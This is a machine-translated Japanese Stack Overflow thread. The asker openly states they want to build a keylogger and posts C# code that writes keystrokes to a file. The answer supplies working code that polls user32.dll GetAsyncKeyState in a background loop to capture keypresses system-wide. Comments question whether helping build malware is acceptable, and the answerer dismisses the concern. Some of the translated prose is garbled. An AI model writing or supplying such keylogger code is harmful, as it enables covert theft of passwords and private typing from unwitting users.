2016-07-23 4 views
-2

ここではKeyCodeをForm KeyUpイベントでのみ取得します。実際に私は私のフォームにフォーカスを失ったときにキーコードを取得する方法キーロガーウィンドウアプリケーションを作るために結びついている。どのウィンドウアプリケーションでもフォーカスしながらキーコードを取得する方法

private void Form1_KeyUp(object sender, KeyEventArgs e) 
    { 
     Fun_Val(e); 
    } 

    private void Fun_Val(KeyEventArgs e) 
    { 
     switch (e.KeyCode) 
     { 
      case Keys.Space: 
       cl.Fun_Write(" "); 
       break; 

      case Keys.Enter: 
       cl.Fun_Write(Environment.NewLine); 
       break; 

      case Keys.LShiftKey: 
       cl.Fun_Write(" "); 
       break; 

      case Keys.RShiftKey: 
       cl.Fun_Write(" "); 
       break; 

      default: 
       if (Control.ModifierKeys != Keys.Shift) 
       { 
        cl.Fun_Write(e.KeyCode.ToString().ToLower()); 
       } 
       else 
       { 
        cl.Fun_Write(e.KeyCode.ToString()); 
       } 
       break; 
     } 
    } 

    public void Fun_Write(string word) 
    { 
     // filename = DateTime.Now.Month + "-" + DateTime.Now.Day + filename; 
     path = Path.Combine(dir, filename); 
     DirectoryInfo di = new DirectoryInfo(dir); 
     FileInfo fi = new FileInfo(path); 
     if (!di.Exists) 
     { 
      di.Create(); 

      if (!fi.Exists) 
      { 
       fi.Create(); 
      } 
     } 
     else 
     { 
      StreamWriter sw = new StreamWriter(path, true); 
      sw.Write(word, true); 
      sw.Close(); 
     } 
    } 
+1

悪意のあるコードを作成することに文字通り助力を求めているのでそれは働く)。私はスタックオーバーフローに適したそのような質問は見つけられませんが、他の人がそれについて私が知らないと考えるものはありません。 –

答えて

-1

あなたがフォームのソースコードにこれを追加し、user32.dllのからGetAsyncKeyState()メソッドを使用して、キーが押された場合は探し続けるループを作成する場合、それは簡単ですキーログ機能を追加したい場合。

workThread worker = new workThread(); 
Thread workThread = new Thread(worker.LogKeys); //attach the function to the thread 
workThread.Start(); 

:あなたは、最初の「workThread.cs」

using System; 
using System.Collections.Generic; 
using System.Runtime.InteropServices; 
using System.Text; 
using System.Threading; 
using System.Windows.Forms; 

class workThread 
{ 
    [DllImport("user32.dll")] //imports function from unmanaged code (requires System.Runtime.InteropServices) 
    public static extern int GetAsyncKeyState(Int32 i); 

    public workThread() {; } //empty constructor 

    public void LogKeys() //the function the thread will do when being called 
    { 
     while (true) 
     { 
      //sleeping for while, this will reduce load on cpu 
      Thread.Sleep(50); 
      for (Int32 i = 0; i < 255; i++) 
      { 
       int keyState = GetAsyncKeyState(i); 
       if (keyState == 1 || keyState == -32767) 
       { 
        Fun_Write(((Keys)i).ToString()); 
       } 
      } 
     } 
    } 

    public static void Fun_Write(string word) 
    { 
     //do what you want with the key 
    } 
} 

それからちょうどこれでフォームのどこかにスレッドを開始しthreadを作成するので、新しいクラスを作成し、例えば、それを呼び出す必要が注:質問を投稿する前に質問のプレビューとコードの字下げを確認して、内容をより読みやすくわかりやすくしてください。

+0

あなたは彼がマルウェアを作るのを手助けしましたか? –

+0

このコードは、キーロガーを作成するのがかなり簡単なので、かなり簡単に見つけることができます。一方、それを展開するのは難しいです。 –

+0

私はそれについてよく知っていますが、スタックオーバーフローの司会者がこれについて考えるのはまだ分かりません。誰かを助けて悪意のあるコードを(そのような知識を持って)作成することが認められているかどうかはわかりません。 –

関連する問題